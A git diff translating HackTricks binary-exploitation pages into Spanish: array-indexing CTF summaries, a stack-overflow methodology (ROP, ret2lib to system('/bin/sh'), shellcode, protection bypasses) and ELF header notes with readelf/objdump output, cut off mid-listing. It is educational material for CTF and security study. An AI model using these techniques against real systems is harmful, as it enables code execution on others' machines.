a/src/binary-exploitation/array-indexing.md b/src/binary-exploitation/array-indexing.md index 675eb939e..00204a343 100644 --- a/src/binary-exploitation/array-indexing.md +++ b/src/binary-exploitation/array-indexing.md @@ -1,18 +1,18 @@ -# Array Indexing +# Indexación de Arreglos {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -This category includes all vulnerabilities that occur because it is possible to overwrite certain data through errors in the handling of indexes in arrays. It's a very wide category with no specific methodology as the exploitation mechanism relays completely on the conditions of the vulnerability. +Esta categoría incluye todas las vulnerabilidades que ocurren porque es posible sobrescribir ciertos datos a través de errores en el manejo de índices en arreglos. Es una categoría muy amplia sin una metodología específica, ya que el mecanismo de explotación depende completamente de las condiciones de la vulnerabilidad. -However he you can find some nice **examples**: +Sin embargo, aquí puedes encontrar algunos **ejemplos**: - [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html) - - There are **2 colliding arrays**, one for **addresses** where data is stored and one with the **sizes** of that data. It's possible to overwrite one from the other, enabling to write an arbitrary address indicating it as a size. This allows to write the address of the `free` function in the GOT table and then overwrite it with the address to `system`, and call free from a memory with `/bin/sh`. +- Hay **2 arreglos en colisión**, uno para **direcciones** donde se almacenan los datos y otro con los **tamaños** de esos datos. Es posible sobrescribir uno desde el otro, lo que permite escribir una dirección arbitraria indicándola como un tamaño. Esto permite escribir la dirección de la función `free` en la tabla GOT y luego sobrescribirla con la dirección de `system`, y llamar a free desde una memoria con `/bin/sh`. - [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html) - - 64 bits, no nx. Overwrite a size to get a kind of buffer overflow where every thing is going to be used a double number and sorted from smallest to biggest so it's needed to create a shellcode that fulfil that requirement, taking into account that the canary shouldn't be moved from it's position and finally overwriting the RIP with an address to ret, that fulfil he previous requirements and putting the biggest address a new address pointing to the start of the stack (leaked by the program) so it's possible to use the ret to jump there. +- 64 bits, sin nx. Sobrescribir un tamaño para obtener una especie de desbordamiento de búfer donde todo se va a usar como un número doble y ordenado de menor a mayor, por lo que es necesario crear un shellcode que cumpla con ese requisito, teniendo en cuenta que el canario no debe moverse de su posición y finalmente sobrescribir el RIP con una dirección de ret, que cumpla con los requisitos anteriores y poniendo la dirección más grande como una nueva dirección apuntando al inicio de la pila (filtrada por el programa) para que sea posible usar el ret para saltar allí. - [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/) - - 64bits, no relro, canary, nx, no pie. There is an off-by-one in an array in the stack that allows to control a pointer granting WWW (it write the sum of all the numbers of the array in the overwritten address by the of-by-one in the array). The stack is controlled so the GOT `exit` address is overwritten with `pop rdi; ret`, and in the stack is added the address to `main` (looping back to `main`). The a ROP chain to leak the address of put in the GOT using puts is used (`exit` will be called so it will call `pop rdi; ret` therefore executing this chain in the stack). Finally a new ROP chain executing ret2lib is used. +- 64 bits, sin relro, canario, nx, sin pie. Hay un off-by-one en un arreglo en la pila que permite controlar un puntero otorgando WWW (escribe la suma de todos los números del arreglo en la dirección sobrescrita por el off-by-one en el arreglo). La pila está controlada, por lo que la dirección GOT de `exit` se sobrescribe con `pop rdi; ret`, y en la pila se agrega la dirección a `main` (volviendo a `main`). Se utiliza una cadena ROP para filtrar la dirección de `put` en la GOT usando puts (`exit` será llamado, por lo que llamará a `pop rdi; ret`, ejecutando así esta cadena en la pila). Finalmente, se utiliza una nueva cadena ROP que ejecuta ret2lib. - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html) - - 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check). +- 32 bits, sin relro, sin canario, nx, pie. Abusar de una mala indexación para filtrar direcciones de libc y heap desde la pila. Abusar del desbordamiento de búfer para hacer un ret2lib llamando a `system('/bin/sh')` (la dirección del heap es necesaria para eludir una verificación). diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md index a5e59ae40..08922f06e 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md @@ -1,111 +1,111 @@ -# Basic Binary Exploitation Methodology +# Metodología Básica de Explotación Binaria {{#include ../../banners/hacktricks-training.md}} -## ELF Basic Info +## Información Básica de ELF -Before start exploiting anything it's interesting to understand part of the structure of an **ELF binary**: +Antes de comenzar a explotar cualquier cosa, es interesante entender parte de la estructura de un **binario ELF**: {{#ref}} elf-tricks.md {{#endref}} -## Exploiting Tools +## Herramientas de Explotación {{#ref}} tools/ {{#endref}} -## Stack Overflow Methodology +## Metodología de Desbordamiento de Pila -With so many techniques it's good to have a scheme when each technique will be useful. Note that the same protections will affect different techniques. You can find ways to bypass the protections on each protection section but not in this methodology. +Con tantas técnicas, es bueno tener un esquema de cuándo cada técnica será útil. Ten en cuenta que las mismas protecciones afectarán diferentes técnicas. Puedes encontrar formas de eludir las protecciones en cada sección de protección, pero no en esta metodología. -## Controlling the Flow +## Controlando el Flujo -There are different was you could end controlling the flow of a program: +Hay diferentes formas en las que podrías terminar controlando el flujo de un programa: -- [**Stack Overflows**](../stack-overflow/) overwriting the return pointer from the stack or the EBP -> ESP -> EIP. - - Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow -- Or via **Arbitrary Writes + Write What Where to Execution** - - [**Format strings**](../format-strings/)**:** Abuse `printf` to write arbitrary content in arbitrary addresses. - - [**Array Indexing**](../array-indexing.md): Abuse a poorly designed indexing to be able to control some arrays and get an arbitrary write. - - Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow - - **bof to WWW via ROP**: Abuse a buffer overflow to construct a ROP and be able to get a WWW. +- [**Desbordamientos de Pila**](../stack-overflow/) sobrescribiendo el puntero de retorno desde la pila o el EBP -> ESP -> EIP. +- Podría ser necesario abusar de un [**Desbordamiento de Entero**](../integer-overflow.md) para causar el desbordamiento. +- O a través de **Escrituras Arbitrarias + Escribir Qué Dónde para Ejecución**. +- [**Cadenas de Formato**](../format-strings/)**:** Abusar de `printf` para escribir contenido arbitrario en direcciones arbitrarias. +- [**Indexación de Arreglos**](../array-indexing.md): Abusar de una indexación mal diseñada para poder controlar algunos arreglos y obtener una escritura arbitraria. +- Podría ser necesario abusar de un [**Desbordamiento de Entero**](../integer-overflow.md) para causar el desbordamiento. +- **bof a WWW vía ROP**: Abusar de un desbordamiento de búfer para construir un ROP y poder obtener un WWW. -You can find the **Write What Where to Execution** techniques in: +Puedes encontrar las técnicas de **Escribir Qué Dónde para Ejecución** en: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -## Eternal Loops +## Bucles Eternos -Something to take into account is that usually **just one exploitation of a vulnerability might not be enough** to execute a successful exploit, specially some protections need to be bypassed. Therefore, it's interesting discuss some options to **make a single vulnerability exploitable several times** in the same execution of the binary: +Algo a tener en cuenta es que generalmente **solo una explotación de una vulnerabilidad puede no ser suficiente** para ejecutar un exploit exitoso, especialmente algunas protecciones necesitan ser eludidas. Por lo tanto, es interesante discutir algunas opciones para **hacer que una sola vulnerabilidad sea explotable varias veces** en la misma ejecución del binario: -- Write in a **ROP** chain the address of the **`main` function** or to the address where the **vulnerability** is occurring. - - Controlling a proper ROP chain you might be able to perform all the actions in that chain -- Write in the **`exit` address in GOT** (or any other function used by the binary before ending) the address to go **back to the vulnerability** -- As explained in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** store 2 functions here, one to call the vuln again and another to call**`__libc_csu_fini`** which will call again the function from `.fini_array`. +- Escribir en una **cadena ROP** la dirección de la **función `main`** o la dirección donde está ocurriendo la **vulnerabilidad**. +- Controlando una cadena ROP adecuada, podrías ser capaz de realizar todas las acciones en esa cadena. +- Escribir en la **dirección `exit` en GOT** (o cualquier otra función utilizada por el binario antes de finalizar) la dirección para **volver a la vulnerabilidad**. +- Como se explicó en [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** almacenar 2 funciones aquí, una para llamar a la vulnerabilidad nuevamente y otra para llamar a **`__libc_csu_fini`** que volverá a llamar a la función de `.fini_array`. -## Exploitation Goals +## Objetivos de Explotación -### Goal: Call an Existing function +### Objetivo: Llamar a una Función Existente -- [**ret2win**](./#ret2win): There is a function in the code you need to call (maybe with some specific params) in order to get the flag. - - In a **regular bof without** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) you just need to write the address in the return address stored in the stack. - - In a bof with [**PIE**](../common-binary-protections-and-bypasses/pie/), you will need to bypass it - - In a bof with [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), you will need to bypass it - - If you need to set several parameter to correctly call the **ret2win** function you can use: - - A [**ROP**](./#rop-and-ret2...-techniques) **chain if there are enough gadgets** to prepare all the params - - [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (in case you can call this syscall) to control a lot of registers - - Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers - - Via a [**Write What Where**](../arbitrary-write-2-exec/) you could abuse other vulns (not bof) to call the **`win`** function. -- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address. - - [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses. -- [**Uninitialized vatiables**](../stack-overflow/uninitialized-variables.md): You never know. +- [**ret2win**](./#ret2win): Hay una función en el código que necesitas llamar (quizás con algunos parámetros específicos) para obtener la bandera. +- En un **bof regular sin** [**PIE**](../common-binary-protections-and-bypasses/pie/) **y** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) solo necesitas escribir la dirección en la dirección de retorno almacenada en la pila. +- En un bof con [**PIE**](../common-binary-protections-and-bypasses/pie/), necesitarás eludirlo. +- En un bof con [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), necesitarás eludirlo. +- Si necesitas establecer varios parámetros para llamar correctamente a la función **ret2win**, puedes usar: +- Una [**cadena ROP**](./#rop-and-ret2...-techniques) **si hay suficientes gadgets** para preparar todos los parámetros. +- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (en caso de que puedas llamar a esta syscall) para controlar muchos registros. +- Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) y [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) para controlar varios registros. +- A través de un [**Escribir Qué Dónde**](../arbitrary-write-2-exec/) podrías abusar de otras vulnerabilidades (no bof) para llamar a la función **`win`**. +- [**Redireccionamiento de Punteros**](../stack-overflow/pointer-redirecting.md): En caso de que la pila contenga punteros a una función que se va a llamar o a una cadena que se va a utilizar por una función interesante (system o printf), es posible sobrescribir esa dirección. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) o [**PIE**](../common-binary-protections-and-bypasses/pie/) pueden afectar las direcciones. +- [**Variables No Inicializadas**](../stack-overflow/uninitialized-variables.md): Nunca se sabe. -### Goal: RCE +### Objetivo: RCE -#### Via shellcode, if nx disabled or mixing shellcode with ROP: +#### A través de shellcode, si nx está deshabilitado o mezclando shellcode con ROP: -- [**(Stack) Shellcode**](./#stack-shellcode): This is useful to store a shellcode in the stack before of after overwriting the return pointer and then **jump to it** to execute it: - - **In any case, if there is a** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** in a regular bof you will need to bypass (leak) it - - **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) it's possible to jump to the address of the stack as it won't never change - - **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) you will need techniques such as [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) to jump to it - - **With** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), you will need to use some [**ROP**](../rop-return-oriented-programing/) **to call `memprotect`** and make some page `rwx`, in order to then **store the shellcode in there** (calling read for example) and then jump there. - - This will mix shellcode with a ROP chain. +- [**(Stack) Shellcode**](./#stack-shellcode): Esto es útil para almacenar un shellcode en la pila antes o después de sobrescribir el puntero de retorno y luego **saltar a él** para ejecutarlo: +- **En cualquier caso, si hay un** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** en un bof regular necesitarás eludirlo (filtrar). +- **Sin** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **y** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) es posible saltar a la dirección de la pila ya que nunca cambiará. +- **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) necesitarás técnicas como [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) para saltar a ella. +- **Con** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), necesitarás usar algún [**ROP**](../rop-return-oriented-programing/) **para llamar a `memprotect`** y hacer que alguna página sea `rwx`, para luego **almacenar el shellcode allí** (llamando a read, por ejemplo) y luego saltar allí. +- Esto mezclará shellcode con una cadena ROP. -#### Via syscalls +#### A través de syscalls -- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Useful to call `execve` to run arbitrary commands. You need to be able to find the **gadgets to call the specific syscall with the parameters**. - - If [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) are enabled you'll need to defeat them **in order to use ROP gadgets** from the binary or libraries. - - [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) can be useful to prepare the **ret2execve** - - Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers +- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Útil para llamar a `execve` para ejecutar comandos arbitrarios. Necesitas ser capaz de encontrar los **gadgets para llamar a la syscall específica con los parámetros**. +- Si [**ASLR**](../common-binary-protections-and-bypasses/aslr/) o [**PIE**](../common-binary-protections-and-bypasses/pie/) están habilitados, necesitarás derrotarlos **para usar gadgets ROP** del binario o bibliotecas. +- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) puede ser útil para preparar el **ret2execve**. +- Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) y [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) para controlar varios registros. -#### Via libc +#### A través de libc -- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Useful to call a function from a library (usually from **`libc`**) like **`system`** with some prepared arguments (e.g. `'/bin/sh'`). You need the binary to **load the library** with the function you would like to call (libc usually). - - If **statically compiled and no** [**PIE**](../common-binary-protections-and-bypasses/pie/), the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically. - - **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and knowing the libc version** loaded, the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically. - - With [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **but no** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, knowing the libc and with the binary using the `system`** function it's possible to **`ret` to the address of system in the GOT** with the address of `'/bin/sh'` in the param (you will need to figure this out). - - With [ASLR](../common-binary-protections-and-bypasses/aslr/) but no [PIE](../common-binary-protections-and-bypasses/pie/), knowing the libc and **without the binary using the `system`** : - - Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) to resolve the address of `system` and call it - - **Bypass** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) and calculate the address of `system` and `'/bin/sh'` in memory. - - **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and not knowing the libc**: You need to: - - Bypass [**PIE**](../common-binary-protections-and-bypasses/pie/) - - Find the **`libc` version** used (leak a couple of function addresses) - - Check the **previous scenarios with ASLR** to continue. +- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Útil para llamar a una función de una biblioteca (generalmente de **`libc`**) como **`system`** con algunos argumentos preparados (por ejemplo, `'/bin/sh'`). Necesitas que el binario **cargue la biblioteca** con la función que te gustaría llamar (libc generalmente). +- Si **compilado estáticamente y sin** [**PIE**](../common-binary-protections-and-bypasses/pie/), la **dirección** de `system` y `/bin/sh` no van a cambiar, por lo que es posible usarlas estáticamente. +- **Sin** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **y conociendo la versión de libc** cargada, la **dirección** de `system` y `/bin/sh` no van a cambiar, por lo que es posible usarlas estáticamente. +- Con [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **pero sin** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, conociendo la libc y con el binario usando la función `system`** es posible **`ret` a la dirección de system en el GOT** con la dirección de `'/bin/sh'` en el parámetro (necesitarás averiguarlo). +- Con [ASLR](../common-binary-protections-and-bypasses/aslr/) pero sin [PIE](../common-binary-protections-and-bypasses/pie/), conociendo la libc y **sin que el binario use la `system`**: +- Usar [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) para resolver la dirección de `system` y llamarla. +- **Eludir** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) y calcular la dirección de `system` y `'/bin/sh'` en memoria. +- **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **y** [**PIE**](../common-binary-protections-and-bypasses/pie/) **y sin conocer la libc**: Necesitas: +- Eludir [**PIE**](../common-binary-protections-and-bypasses/pie/). +- Encontrar la **versión de `libc`** utilizada (filtrar un par de direcciones de funciones). +- Revisar los **escenarios anteriores con ASLR** para continuar. -#### Via EBP/RBP +#### A través de EBP/RBP -- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Control the ESP to control RET through the stored EBP in the stack. - - Useful for **off-by-one** stack overflows - - Useful as an alternate way to end controlling EIP while abusing EIP to construct the payload in memory and then jumping to it via EBP +- [**Pivotar Pila / EBP2Ret / Encadenamiento EBP**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Controlar el ESP para controlar RET a través del EBP almacenado en la pila. +- Útil para **desbordamientos de pila off-by-one**. +- Útil como una forma alternativa de terminar controlando EIP mientras abusas de EIP para construir la carga útil en memoria y luego saltar a ella a través de EBP. -#### Misc +#### Varios -- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address. - - [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses. -- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): You never know +- [**Redireccionamiento de Punteros**](../stack-overflow/pointer-redirecting.md): En caso de que la pila contenga punteros a una función que se va a llamar o a una cadena que se va a utilizar por una función interesante (system o printf), es posible sobrescribir esa dirección. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) o [**PIE**](../common-binary-protections-and-bypasses/pie/) pueden afectar las direcciones. +- [**Variables No Inicializadas**](../stack-overflow/uninitialized-variables.md): Nunca se sabe. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md index f5886ddcc..899cd87ec 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md @@ -1,11 +1,10 @@ -# ELF Basic Information +# Información Básica de ELF {{#include ../../banners/hacktricks-training.md}} -## Program Headers - -The describe to the loader how to load the **ELF** into memory: +## Encabezados del Programa +Describen al cargador cómo cargar el **ELF** en la memoria: ```bash readelf -lW lnstat @@ -14,80 +13,78 @@ Entry point 0x1c00 There are 9 program headers, starting at offset 64 Program Headers: - Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align - PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8 - INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1 - [Requesting program interpreter: /lib/ld-linux-aarch64.so.1] - LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000 - LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000 - DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8 - NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4 - GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4 - GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10 - GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1 +Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align +PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8 +INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1 +[Requesting program interpreter: /lib/ld-linux-aarch64.so.1] +LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000 +LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000 +DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8 +NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4 +GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4 +GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10 +GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1 - Section to Segment mapping: - Segment Sections... - 00 - 01 .interp - 02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame - 03 .init_array .fini_array .dynamic .got .data .bss - 04 .dynamic - 05 .note.gnu.build-id .note.ABI-tag .note.package - 06 .eh_frame_hdr - 07 - 08 .init_array .fini_array .dynamic .got +Section to Segment mapping: +Segment Sections... +00 +01 .interp +02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame +03 .init_array .fini_array .dynamic .got .data .bss +04 .dynamic +05 .note.gnu.build-id .note.ABI-tag .note.package +06 .eh_frame_hdr +07 +08 .init_array .fini_array .dynamic .got ``` +El programa anterior tiene **9 encabezados de programa**, luego, el **mapeo de segmentos** indica en qué encabezado de programa (del 00 al 08) **se encuentra cada sección**. -The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**. +### PHDR - Encabezado de Programa -### PHDR - Program HeaDeR - -Contains the program header tables and metadata itself. +Contiene las tablas de encabezados de programa y la metadata en sí. ### INTERP -Indicates the path of the loader to use to load the binary into memory. +Indica la ruta del cargador que se debe usar para cargar el binario en memoria. ### LOAD -These headers are used to indicate **how to load a binary into memory.**\ -Each **LOAD** header indicates a region of **memory** (size, permissions and alignment) and indicates the bytes of the ELF **binary to copy in there**. +Estos encabezados se utilizan para indicar **cómo cargar un binario en memoria.**\ +Cada encabezado **LOAD** indica una región de **memoria** (tamaño, permisos y alineación) e indica los bytes del **binario ELF que se copiarán allí**. -For example, the second one has a size of 0x1190, should be located at 0x1fc48 with permissions read and write and will be filled with 0x528 from the offset 0xfc48 (it doesn't fill all the reserved space). This memory will contain the sections `.init_array .fini_array .dynamic .got .data .bss`. +Por ejemplo, el segundo tiene un tamaño de 0x1190, debe estar ubicado en 0x1fc48 con permisos de lectura y escritura y se llenará con 0x528 desde el desplazamiento 0xfc48 (no llena todo el espacio reservado). Esta memoria contendrá las secciones `.init_array .fini_array .dynamic .got .data .bss`. ### DYNAMIC -This header helps to link programs to their library dependencies and apply relocations. Check the **`.dynamic`** section. +Este encabezado ayuda a vincular programas a sus dependencias de biblioteca y aplicar reubicaciones. Consulta la sección **`.dynamic`**. ### NOTE -This stores vendor metadata information about the binary. +Esto almacena información de metadata del proveedor sobre el binario. ### GNU_EH_FRAME -Defines the location of the stack unwind tables, used by debuggers and C++ exception handling-runtime functions. +Define la ubicación de las tablas de deshacer la pila, utilizadas por depuradores y funciones de manejo de excepciones de C++. ### GNU_STACK -Contains the configuration of the stack execution prevention defense. If enabled, the binary won't be able to execute code from the stack. +Contiene la configuración de la defensa de prevención de ejecución de la pila. Si está habilitado, el binario no podrá ejecutar código desde la pila. ### GNU_RELRO -Indicates the RELRO (Relocation Read-Only) configuration of the binary. This protection will mark as read-only certain sections of the memory (like the `GOT` or the `init` and `fini` tables) after the program has loaded and before it begins running. +Indica la configuración RELRO (Relocation Read-Only) del binario. Esta protección marcará como de solo lectura ciertas secciones de la memoria (como el `GOT` o las tablas `init` y `fini`) después de que el programa se haya cargado y antes de que comience a ejecutarse. -In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecting the sections `.init_array .fini_array .dynamic .got .data .bss`. +En el ejemplo anterior, está copiando 0x3b8 bytes a 0x1fc48 como de solo lectura, afectando las secciones `.init_array .fini_array .dynamic .got .data .bss`. -Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched. +Ten en cuenta que RELRO puede ser parcial o completo, la versión parcial no protege la sección **`.plt.got`**, que se utiliza para **lazy binding** y necesita este espacio de memoria para tener **permisos de escritura** para escribir la dirección de las bibliotecas la primera vez que se busca su ubicación. ### TLS -Defines a table of TLS entries, which stores info about thread-local variables. +Define una tabla de entradas TLS, que almacena información sobre variables locales de hilo. -## Section Headers - -Section headers gives a more detailed view of the ELF binary +## Encabezados de Sección +Los encabezados de sección ofrecen una vista más detallada del binario ELF. ``` objdump lnstat -h @@ -95,159 +92,153 @@ lnstat: file format elf64-littleaarch64 Sections: Idx Name Size VMA LMA File off Algn - 0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3 - CONTENTS, ALLOC, LOAD, DATA - 19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3 - CONTENTS, ALLOC, LOAD, DATA - 20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3 - CONTENTS, ALLOC, LOAD, DATA - 21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3 - CONTENTS, ALLOC, LOAD, DATA - 22 .data 00000170 0000000000020000 